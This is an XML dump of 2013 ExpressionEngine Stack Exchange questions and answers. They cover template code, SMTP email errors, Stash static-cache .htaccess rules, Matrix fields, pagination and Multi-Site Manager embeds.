  <row Id="11569" PostTypeId="1" CreationDate="2013-06-30T15:34:34.163" Score="1" ViewCount="460" Body="&lt;p&gt;I need to use some kind of &quot;encoded&quot; value for title/url-title, and I was thinking of using md5 or sha-1 hash code for this. The idea is that user receives email link to the entry, but it is supposed to be hard to guess other public entries (if I based them only on enrty_id for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this best way of doing this or there is maybe some other kind of code it would be suitable. My idea was to generate random md5 and put it on title (safecracker).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;dp&lt;/p&gt;&#xA;" OwnerUserId="281" LastActivityDate="2013-09-28T17:50:21.493" Title="Unique url title with hash or something" Tags="|safecracker|url-title|encode|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11570" PostTypeId="2" ParentId="11569" CreationDate="2013-06-30T15:54:05.250" Score="1" Body="&lt;p&gt;As I think, you would like to set entry page URLs wouldn't have url-title or entry-id so that no other URLs couldn't be guessed and your URL would be like yoursiteurl.com/[encoded string in MD5 or SHA1]. Right ???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so I would suggest you to use EE's Pages module or Structure module and enter the Page URI as encoded in either MD5 or SHA1.&#xA;You can code you template code to detect those URIs and show the entry page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you can make this encoding dynamic so that there wouldn't be needed for admin to enter encoded Page URI while editing/publishing an entry by creating an extension which will do it.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-06-30T15:54:05.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11571" PostTypeId="1" CreationDate="2013-06-30T17:41:02.100" Score="0" ViewCount="254" Body="&lt;p&gt;I've got 2 channels, &quot;message&quot; and &quot;message series&quot; and I'm using a relationship field in the message channel to tie a sermon to a sermon series.  My template group is called media, and there is a media-view template that I'm trying to use to display a listing of all the sermons in a particular sermon series.  My issue is that when I click one of the sermon series to view the sermons in that particular series, it goes to a blank page with my header and footer on it, but no content.  It's trying to go to media/media-view/name-of-sermon-series.  However, when I view the rendered template from the EE control panel, it displays correctly at media/media-view.  That would be fine except, if I change my link to go to media/media-view, and click the link to a sermon series, it always takes me to the same sermon series page, regardless of which link I'm clicking.  Something in my code is off, and I can't for the life of me figure out what it is.  Any help would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's my code from my media template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;embeds/html_header&quot; page_title=&quot;Media&quot;}&#xA;{exp:channel:entries channel=&quot;message_series&quot; orderby=&quot;date&quot; sort=&quot;asc&quot; limit=&quot;10&quot; paginate=&quot;bottom&quot; {gv_param_disable_default}}    &#xA;&#xA;        &amp;lt;li class=&quot;section-post&quot;&amp;gt;&#xA;            &amp;lt;a class=&quot;message-link&quot; href=&quot;{path=media/media-view/{url_title}}&quot;&amp;gt;&amp;lt;img src=&quot;{series_image}&quot; class=&quot;message-image&quot; title=&quot;{title}&quot; alt=&quot;{title}&quot;&amp;gt;&#xA;            &amp;lt;span class=&quot;mask&quot;&amp;gt;&#xA;                &amp;lt;img src=&quot;{site_url}/images/interface/ico-search.png&quot;&amp;gt;&#xA;            &amp;lt;/span&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;            &amp;lt;a href=&quot;{path=media/media-view/{url_title}}&quot;&amp;gt;&amp;lt;h2 class=&quot;inline-header&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&amp;lt;br /&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;i&amp;gt;{series_begin_date format='%Y'}{if series_association != &quot;&quot;}, Series{/if} &amp;lt;/i&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and here's my code from my media/media-view template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;embeds/html_header&quot; page_title=&quot;{exp:channel:entries channel=&quot;message&quot;}{title}                {/exp:channel:entries}&quot;}&#xA;{exp:channel:entries channel=&quot;message&quot; limit=&quot;1&quot; {gv_param_disable_default}}&#xA;&#xA;&#xA;                    {series_association}&#xA;                    &amp;lt;h1 class=&quot;section-header&quot;&amp;gt;{series_association:title}&amp;lt;/h2&amp;gt;&#xA;                    {snp_social_share}&#xA;                    &amp;lt;div class=&quot;section-post&quot;&amp;gt;&#xA;                    &amp;lt;p&amp;gt;{series_association:series_summary}&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;img src=&quot;{series_association:series_image}&quot; class=&quot;drop-shadow message-image&quot; title=&quot;{series_association:title}&quot; alt=&quot;{series_association:title}&quot;&amp;gt;&#xA;                    &amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;                    {/series_association}   &#xA;            {/exp:channel:entries}      &#xA;                &amp;lt;ul&amp;gt;&#xA;            {exp:channel:entries channel=&quot;message&quot; orderby=&quot;date&quot; sort=&quot;asc&quot; {gv_param_disable_default}}&#xA;                    &amp;lt;li class=&quot;media-view&quot;&amp;gt;&#xA;                        &amp;lt;h2&amp;gt;&amp;lt;u&amp;gt;{title}&amp;lt;/u&amp;gt; - &amp;lt;i&amp;gt;&amp;lt;h5&amp;gt;{message_date format='%F %d %Y'}&amp;lt;/h5&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/h2&amp;gt; &#xA;                        &amp;lt;p&amp;gt;{if message_speaker}&amp;lt;i&amp;gt;Speaker:&amp;lt;/i&amp;gt; {message_speaker}{/if}&#xA;                        &amp;lt;p&amp;gt;{if message_scripture}&amp;lt;i&amp;gt;Scripture Reference:&amp;lt;/i&amp;gt; {message_scripture}{/if}&#xA;                        &amp;lt;p&amp;gt;{message_summary}&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;audio src=&quot;{message_audio}&quot; preload=&quot;none&quot; /&amp;gt;&#xA;                        &amp;lt;h5&amp;gt;{message_date format=&quot;%F %j, %Y&quot;}&amp;lt;/h5&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&#xA;                    &amp;lt;br /&amp;gt;&#xA;            {/exp:channel:entries}&#xA;                &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="678" LastActivityDate="2013-09-29T15:50:22.873" Title="url issues - relationship field with multiple channels" Tags="|channel-entries|templates|relationships|url-title|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11572" PostTypeId="1" CreationDate="2013-06-30T23:13:22.470" Score="2" ViewCount="1548" Body="&lt;p&gt;I'm running EE 2.6.1. I have setup a form using Freeform 3.5 but it wasn't sending notifications. I went through the Solspace troubleshooting guide and double-checked everything there. I found &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/5986/having-smtp-email-issues&quot;&gt;this thread&lt;/a&gt; and tried everything recommended there, to no avail. Here's where I am at this point...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already been using Mandrill to get around clients' server settings, so I did that from the get go on this site. However, when the Freeform form wouldn't send I tried a test from the Communicate tool. With SMTP set and using my Mandrill credentials, I get these errors:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A PHP Error was encountered&lt;/strong&gt;&#xA;Severity: Warning&#xA;Message: fsockopen() [function.fsockopen]: unable to connect to smtp.mandrillapp.com:587 (Connection timed out)&#xA;Filename: libraries/Email.php&#xA;Line Number: 1884&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A PHP Error was encountered&lt;/strong&gt;&#xA;Severity: Warning&#xA;Message: Cannot modify header information - headers already sent by (output started at /home/closeit/public_html/dashboard/codeigniter/system/core/Exceptions.php:170)&#xA;Filename: core/Common.php&#xA;Line Number: 408&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;An Error Was Encountered&lt;/strong&gt;&#xA;Unable to send email at this time.&#xA;The following SMTP error was encountered: 110 Connection timed out&#xA;Unable to send email using PHP SMTP. Your server might not be configured to send mail using this method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I've tried switching the mail protocol to both PHP Mail and Sendmail. And although I receive the &quot;Your email has been sent&quot; notification, I never receive the email.&lt;/p&gt;&#xA;" OwnerUserId="745" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2015-03-18T10:53:36.363" Title="Can't Send Email" Tags="|email|smtp|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11573" PostTypeId="2" ParentId="11572" CreationDate="2013-07-01T00:31:58.057" Score="1" Body="&lt;p&gt;Some hosts don't support sending emails using SMTP, which is likely the reason you are getting that fsocket error. For this reason Mandrill and other API services recommend using their API which uses HTTP (vs SMTP).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Postmaster is a robust utility for using various email API services. You could use Postmaster to send all system emails with HTTP using Mandrill. Postmaster has a hooks API, so it could be used to send emails from Freeform directly, but that would require some PHP the first time around. So if the default system email override doesn't work, a deeper level of integration is just a few lines of code away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While this doesn't exactly fix your problem exactly, it is an alternative solution to solve a bigger problem. &lt;a href=&quot;https://objectivehtml.com/postmaster&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/postmaster&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-07-01T00:31:58.057" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11574" PostTypeId="2" ParentId="11565" CreationDate="2013-07-01T04:22:07.737" Score="1" Body="&lt;p&gt;Not sure but you could try adding paginate=bottom as detailed here: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/pagination_page.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/pagination_page.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-07-01T04:22:07.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11576" PostTypeId="2" ParentId="11566" CreationDate="2013-07-01T09:17:03.463" Score="5" Body="&lt;p&gt;Files are &lt;strong&gt;written&lt;/strong&gt; to the static cache directory by Stash - you don't put files in there. Typically these cached files would be your fully rendered HTML pages. This is the opposite of the stash template directory, where you add template files (containing EE tags, variables etc.) which are &lt;strong&gt;read&lt;/strong&gt; by Stash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After creating a folder called 'static_cache' (or whatever pleases you) in your public webroot, you need to customise the &lt;code&gt;.htaccess&lt;/code&gt; file with three values:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The path to your stash_cache directory&lt;/li&gt;&#xA;&lt;li&gt;The URL to your stash_cache directory&lt;/li&gt;&#xA;&lt;li&gt;The site_id of your site. If you are NOT using the Multiple Site Manager then the site_id will always have a value of 1.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Let's say your path is &lt;code&gt;/home/mysite/public_html/static_cache/&lt;/code&gt;, your &lt;em&gt;relative&lt;/em&gt; url is &lt;code&gt;/static_cache&lt;/code&gt; (you could use an absolute url instead if you prefer) and your site_id is &lt;code&gt;1&lt;/code&gt;. Your file would look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    RewriteEngine on    &#xA;&#xA;    #################################################################################&#xA;    # START STASH STATIC CACHE&#xA;&#xA;    # Exclude POST requests&#xA;    RewriteCond %{REQUEST_METHOD} !=POST&#xA;&#xA;    # Exclude CSS/ACT EE URLs&#xA;    RewriteCond %{QUERY_STRING} !^(css|ACT|URL)&#xA;&#xA;    # Remove index.php from conditions&#xA;    RewriteCond $1 ^(index.php/)*(.*)(/*)$&#xA;&#xA;    # Check if cached index.html exists&#xA;    RewriteCond /home/mysite/public_html/static_cache/1/$2/index.html (.*\.(.*))$&#xA;    RewriteCond %1 -f&#xA;&#xA;    # Rewrite to the cached page&#xA;    RewriteRule ^(index.php/*)*(.*)(/*) /static_cache/1/$2/index.%2 [L]&#xA;&#xA;    # END STASH STATIC CACHE RULES&#xA;    #################################################################################&#xA;&#xA;    # -------------------------------------------------------------------------------&#xA;    # Officially supported method to remove index.php from ExpressionEngine URLs&#xA;    # See: http://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&#xA;    # -------------------------------------------------------------------------------&#xA;&#xA;    RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&#xA;    &amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now to actually use static caching you can use the &lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Astatic%7D&quot;&gt;&lt;code&gt;{exp:stash:static}&lt;/code&gt;&lt;/a&gt; tag, the &lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Acache%7D&quot;&gt;&lt;code&gt;{exp:stash:cache}&lt;/code&gt;&lt;/a&gt; with &lt;code&gt;process=&quot;static&quot;&lt;/code&gt; or the &lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bstash%3Aembed%7D&quot;&gt;&lt;code&gt;{stash:embed}&lt;/code&gt;&lt;/a&gt; with &lt;code&gt;process=&quot;static&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-07-01T09:17:03.463" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11577" PostTypeId="1" AcceptedAnswerId="11582" CreationDate="2013-07-01T09:57:42.410" Score="0" ViewCount="39" Body="&lt;p&gt;I have a category which is unassigned i.e. not tied to any channel.&#xA;I want to display it, but I could not so far&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:categories show_empty=&quot;yes&quot; restrict_channel=&quot;no&quot;}&#xA;    {category_name}&#xA;  {/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Show future, expired, open, etc.&#xA;dynamic=&quot;no&quot; and show=&quot;{number}&quot; and even with category group&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;EE 2.5.5&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I ended up creating a dummy channel, but is not ideal.&lt;/p&gt;&#xA;" OwnerDisplayName="user1631" LastActivityDate="2013-07-01T12:47:15.743" Title="show unassigned category" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11578" PostTypeId="1" AcceptedAnswerId="11580" CreationDate="2013-07-01T10:05:03.820" Score="1" ViewCount="68" Body="&lt;p&gt;When a new subfolder is created and deleted right after, the refresh button keeps spinning and the folder still appears in the list. This only happens when no files are uploaded into it. After a page refresh the folder is deleted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have updated assets to v2.1.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why the refresh isn't triggering?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;support answer:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ahh, the old trick with glob() returning false instead of an empty array on servers with open_basedir set to On.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you open up source.ee.php file in third_party/assets/sources/ee folder, locate the method _delete_source_folder and replace it with the one I'm attaching? That should fix your problem. Also, no matter how trustworthy I sound, always back up your files before doing stuff like this :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could wait a day and a half - word on the street is that Assets 2.1.4 might be released tomorrow US time, that would have this and a bunch of other bugfixes.&lt;/p&gt;&#xA;" OwnerUserId="1719" LastEditorUserId="1719" LastEditDate="2013-07-03T09:36:41.200" LastActivityDate="2013-07-03T09:36:41.200" Title="Assets doesn't refresh after deleting folder" Tags="|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11579" PostTypeId="1" AcceptedAnswerId="11584" CreationDate="2013-07-01T10:32:43.537" Score="0" ViewCount="55" Body="&lt;p&gt;I´ve a site with a channel, this channel has a channel field group with 2 fields. So far, so standard. &#xA;My problem: &#xA;I know exactly, that after some time when the site evolves I´ll ned more channel fields. &#xA;But I don´t know exactly what kind of fields I will need to add. I can be a text field or a textarea or even a file upload field or a matrix. As a startup there will be some pivoting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question: If I add a new field, will it be available for all entries in this channel (new and existing) and can users update their entry accordingly. I would send my members a mail saying &quot;we now offer the feature X, go ahead and update your entry&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will adding channel fields to a channel that has already entries corrupt the database?&lt;/p&gt;&#xA;" OwnerUserId="136" LastActivityDate="2013-07-01T12:56:02.650" Title="add new channel fields for existing site" Tags="|custom-fields|channel|database|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11580" PostTypeId="2" ParentId="11578" CreationDate="2013-07-01T11:17:06.847" Score="0" Body="&lt;p&gt;Sounds like an unexpected Ajax response when deleting the empty folder. Since I can't reproduce this on my end, could you send over CP access to support@pixelandtonic.com so we can take a closer look?&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-07-01T11:17:06.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11581" PostTypeId="1" AcceptedAnswerId="11590" CreationDate="2013-07-01T11:37:19.500" Score="2" ViewCount="200" Body="&lt;p&gt;I'm displaying a Matrix in a Safecracker form. Is there a way to customize the way it is outputted? For example, it seems that I need to have &lt;code&gt;include_jquery=&quot;yes&quot;&lt;/code&gt; and &lt;code&gt;safecracker_head=&quot;yes&quot;&lt;/code&gt; in order to make it work. This mucks up the markup as it injects JS in the middle of my page. For the JS, I'd like to have it as an external file so that it can be cached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The styling of the table also clashes with my design. And a big problem is that the matrix table is not responsive. I'd like to set my own classes (I'm using Twitter Bootstrap) to make it responsive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm happy to do the markup myself. I just need to somehow let Safecracker/Matrix know that the table I create is for a particular matrix field. I'd also need to support those Matrix options like &quot;Delete row&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? &lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-09-29T19:50:22.847" Title="Matrix: possible to customize in SafeCracker?" Tags="|matrix|safecracker|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11582" PostTypeId="2" ParentId="11577" CreationDate="2013-07-01T12:47:15.743" Score="0" Body="&lt;p&gt;First of all categories aren't being assigned to channel, Category Group is being assigned to channel. You can use GWCODE CATEGORIES (&lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories&quot; rel=&quot;nofollow&quot;&gt;http://gwcode.com/add-ons/gwcode-categories&lt;/a&gt;) with the following code example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories group_id=&quot;x|y|z&quot;}&#xA;    {cat_name}&#xA;{/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-07-01T12:47:15.743" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11584" PostTypeId="2" ParentId="11579" CreationDate="2013-07-01T12:56:02.650" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If I add a new field, will it be available for all entries in this&#xA;  channel (new and existing) and can users update their entry&#xA;  accordingly&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, any new custom fields added to that channel will show up for new &amp;amp; existing entries. Your members will be able to update fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you change a existing field to a new fieldtype (ie. text input ==&gt; Matrix), existing entries will &quot;lose&quot; that data from the text input. &lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-07-01T12:56:02.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11585" PostTypeId="2" ParentId="11581" CreationDate="2013-07-01T14:26:21.680" Score="1" Body="&lt;p&gt;Here's what you'll need to do:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use an inspector to look at the code your browser outputs for the matrix table when you use the simple {field:my_matrix_field}. You'll notice each table cell has a unique name. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Format your output to your liking. For each input field, you'll use the name provided by the browser for the corresponding cell. The name should look something like: my_matrix_field[row_id_{row_id}][col_id_xx]. You should replace my_matrix_field with the name of your matrix field, and the xx with the column id of that particular cell (this is where your browser code comes in handy). The row id updates automatically.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Here's an example of one of my input fields. It pulls the content already in the field. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;section_3_timeline[row_id_{row_id}][col_id_42]&quot; value=&quot;{date}&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Don't forget to add your matrix field tag pair if you plan to loop, or pull existing content in for display. This will also require a {exp:channel:entries} tag.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Regarding the other functionality (adding/deleting rows), I personally have not had too much luck with that. &lt;a href=&quot;http://themetaq.com/articles/bring-matrix-data-editing-to-the-front-end&quot; rel=&quot;nofollow&quot;&gt;This article&lt;/a&gt;,&#xA;and the comments at the bottom may be able to help you more.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1704" LastEditorUserId="1704" LastEditDate="2013-07-01T14:31:55.537" LastActivityDate="2013-07-01T14:31:55.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11586" PostTypeId="2" ParentId="11565" CreationDate="2013-07-01T14:30:13.990" Score="0" Body="&lt;p&gt;Ah, I ran into this exact problem on a site a few months ago. Looking at your code, my guess is that you have pagination within the first channel entry tag pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So where you have&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{paginate}&#xA;    &amp;lt;p class=&quot;morePosts&quot;&amp;gt;&#xA;        {if next_page}&amp;lt;a href=&quot;{auto_path}&quot; class=&quot;more&quot;&amp;gt;See More Posts&amp;lt;/a&amp;gt;{/if}&#xA;    &amp;lt;/p&amp;gt;&#xA;{/paginate}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would change to be outside of your main div container, and outside of your channel entry tag pair:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;nav id=&quot;pagination&quot;&amp;gt;&#xA;    {exp:channel:entries channel=&quot;blog&quot; dynamic=&quot;no&quot; paginate_base=&quot;_embed/ajax_scroll&quot;}&#xA;       {paginate}&#xA;         &amp;lt;p class=&quot;morePosts&quot;&amp;gt;&#xA;           {if next_page}&amp;lt;a href=&quot;{auto_path}&quot; class=&quot;more&quot;&amp;gt;See More Posts&amp;lt;/a&amp;gt;{/if}&#xA;         &amp;lt;/p&amp;gt;&#xA;       {/paginate}&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/nav&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, this is a problem with your HTML structure, not with EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason your problem is happening is because in EE, the channel entry tag pair loops out EVERYTHING inside of it. So because your pagination exists within your tag pair, it's looping out all of the blog content PLUS the pagination. So taking the pagination tag pair out of your blog content, will keep it out of the loop.&lt;/p&gt;&#xA;" OwnerUserId="1085" LastEditorUserId="1085" LastEditDate="2013-07-01T14:36:40.920" LastActivityDate="2013-07-01T14:36:40.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11587" PostTypeId="2" ParentId="11571" CreationDate="2013-07-01T14:34:40.773" Score="1" Body="&lt;p&gt;I would try changing the message tag to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;message&quot; limit=&quot;1&quot; dynamic=&quot;no&quot; url_title=&quot;{segment_3}&quot; {gv_param_disable_default}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should disable any &quot;guessing&quot; EE might be doing and force it to match the entry you're actually requesting.&lt;/p&gt;&#xA;" OwnerUserId="787" LastActivityDate="2013-07-01T14:34:40.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11588" PostTypeId="2" ParentId="10542" CreationDate="2013-07-01T15:31:11.793" Score="1" Body="&lt;p&gt;I just wanted to officially follow up with this thread. A couple weeks ago Photo Frame was released, which can be a replacement for Safecracker File among many other things. Photo Frame is a very robust add-on that allows users to upload, manage, edit, and crop photos right within ExpressionEngine and is compatible with many of the most popular add-ons. At the core it asynchronously uploads photos with a visible progress bar and clear interface. Photo Frame comes with 100's of features, and has additional expansion packs available for even more capabilities. Photo Frame is by far the most robust and advanced photo editor for ExpressionEngine, and developers will rejoice when using the API's for some serious customization.&lt;/p&gt;&#xA;&#xA;Official Release&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://objectivehtml.com/articles/read/photo-frame-1.0&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/articles/read/photo-frame-1.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;Overview&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://objectivehtml.com/photo-frame&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/photo-frame&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-07-01T15:31:11.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11589" PostTypeId="1" CreationDate="2013-07-01T17:15:33.820" Score="1" ViewCount="300" Body="&lt;p&gt;I am using ExpressionEngine 2.5.2 with Multisite Manager. I have one template embedded within another. The parent template is pulling data from 2 sites, and I would like certain information to show up depending on how many results there are from a channel:entries call. However, when one of the sites has results, the embed show correctly, but when the other site has results, the embedded template shows up, but the field results do not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here is the parent template:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries  site=&quot;default_site|characterized&quot; orderby=&quot;entry_date&quot; channel=&quot;events&quot; sort=&quot;asc&quot; status=&quot;next event|open&quot; show_future_entries=&quot;yes&quot;}&#xA;    {if total_results == &quot;2&quot;}&#xA;        {embed=&quot;home/side_bar_2&quot; side_box_1_sm=&quot;{side_box_1_sm}&quot; side_box_1_lg=&quot;{side_box_1_lg}&quot; side_box_1_link=&quot;{side_box_1_link}&quot;}&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here is the embedded template:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries  site=&quot;default_site&quot; orderby=&quot;entry_date&quot; channel=&quot;home&quot; sort=&quot;asc&quot; status=&quot;open&quot; show_future_entries=&quot;yes&quot;}&#xA;    &amp;lt;a href=&quot;http://{embed:side_box_1_link}&quot; target=&quot;_blank&quot;&amp;gt;&#xA;        &amp;lt;img src=&quot;{embed:side_box_1_sm}&quot;/&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When the &quot;characterized&quot; site has 2 results, the embedded template works just fine. When the &quot;default_site&quot; has 2 results, the embedded template shows up with no values in the channel fields. when I look at the source code, it just shows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;http://&quot; target=&quot;_blank&quot;&amp;gt;&#xA;    &amp;lt;img src=&quot;&quot;/&amp;gt;           &#xA;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anybody know why this is happening?&lt;/p&gt;&#xA;" OwnerUserId="899" LastEditorUserId="899" LastEditDate="2013-07-02T16:02:47.500" LastActivityDate="2013-07-02T16:02:47.500" Title="Channel field not showing on page with embedded template using Multi-Site Manager" Tags="|templates|multi-site-manager|channel|fields|embeds|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
